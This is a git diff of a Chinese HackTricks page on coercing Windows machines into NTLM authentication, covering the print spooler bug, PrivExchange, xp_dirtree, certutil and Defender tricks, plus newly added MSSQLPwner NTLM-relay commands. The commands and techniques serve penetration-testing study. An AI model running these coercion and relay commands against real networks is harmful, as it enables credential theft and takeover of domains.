* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## SharpSystemTriggers
|
||||
|
||||
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) 是一个用 C# 编写的 **远程认证触发器** 的 **集合**，使用 MIDL 编译器以避免第三方依赖。
|
||||
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) 是一个 **远程认证触发器的集合**，使用 C# 编写，采用 MIDL 编译器以避免第三方依赖。
|
||||
|
||||
## 打印机后台处理服务滥用
|
||||
|
||||
如果 _**打印后台处理程序**_ 服务 **已启用，** 您可以使用一些已知的 AD 凭据向域控制器的打印服务器 **请求** 新打印作业的 **更新**，并告诉它 **将通知发送到某个系统**。\
|
||||
如果 _**打印后台处理程序**_ 服务 **已启用**，您可以使用一些已知的 AD 凭据向域控制器的打印服务器 **请求** 新打印作业的 **更新**，并告诉它 **将通知发送到某个系统**。\
|
||||
请注意，当打印机将通知发送到任意系统时，它需要 **对该系统进行认证**。因此，攻击者可以使 _**打印后台处理程序**_ 服务对任意系统进行认证，而该服务将在此认证中 **使用计算机账户**。
|
||||
|
||||
### 在域中查找 Windows 服务器
|
||||
|
|
@ -62,13 +62,13 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
|
|||
|
||||
## PrivExchange
|
||||
|
||||
`PrivExchange`攻击是由于**Exchange Server `PushSubscription`功能**中的一个缺陷。该功能允许任何具有邮箱的域用户强制Exchange服务器通过HTTP对任何客户端提供的主机进行身份验证。
|
||||
`PrivExchange`攻击是由于在**Exchange Server `PushSubscription`功能**中发现的缺陷。此功能允许任何具有邮箱的域用户强制Exchange服务器通过HTTP对任何客户端提供的主机进行身份验证。
|
||||
|
||||
默认情况下，**Exchange服务以SYSTEM身份运行**，并被赋予过多的权限（具体来说，它在2019年之前的累积更新上具有**WriteDacl权限**）。这个缺陷可以被利用来启用**信息中继到LDAP并随后提取域NTDS数据库**。在无法中继到LDAP的情况下，这个缺陷仍然可以用于在域内中继和对其他主机进行身份验证。成功利用此攻击将立即授予任何经过身份验证的域用户帐户对域管理员的访问权限。
|
||||
默认情况下，**Exchange服务以SYSTEM身份运行**，并被赋予过多的权限（具体来说，它在2019年之前的累积更新上具有**WriteDacl权限**）。此缺陷可以被利用以启用**向LDAP中转信息并随后提取域NTDS数据库**。在无法向LDAP中转的情况下，此缺陷仍可用于在域内中转和对其他主机进行身份验证。成功利用此攻击将立即授予任何经过身份验证的域用户帐户对域管理员的访问权限。
|
||||
|
||||
## 在Windows内部
|
||||
|
||||
如果您已经在Windows机器内部，可以使用以下命令强制Windows使用特权帐户连接到服务器：
|
||||
如果您已经在Windows机器内部，可以使用以下方法强制Windows使用特权帐户连接到服务器：
|
||||
|
||||
### Defender MpCmdRun
|
||||
```bash
|
||||
|
|
@ -78,6 +78,17 @@ C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -S
|
|||
```sql
|
||||
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
|
||||
```
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
||||
```shell
|
||||
# Issuing NTLM relay attack on the SRV01 server
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
|
||||
|
||||
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
|
||||
|
||||
# Issuing NTLM relay attack on the local server with custom command
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||||
```
|
||||
或使用这个其他技术: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
|
||||
|
||||
### Certutil
|
||||
|
|
@ -108,15 +119,15 @@ certutil.exe -syncwithWU \\127.0.0.1\share
|
|||
_请记住，为了破解 NTLMv1，你需要将 Responder 挑战设置为 "1122334455667788"_
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
|||
Loading…
Reference in a new issue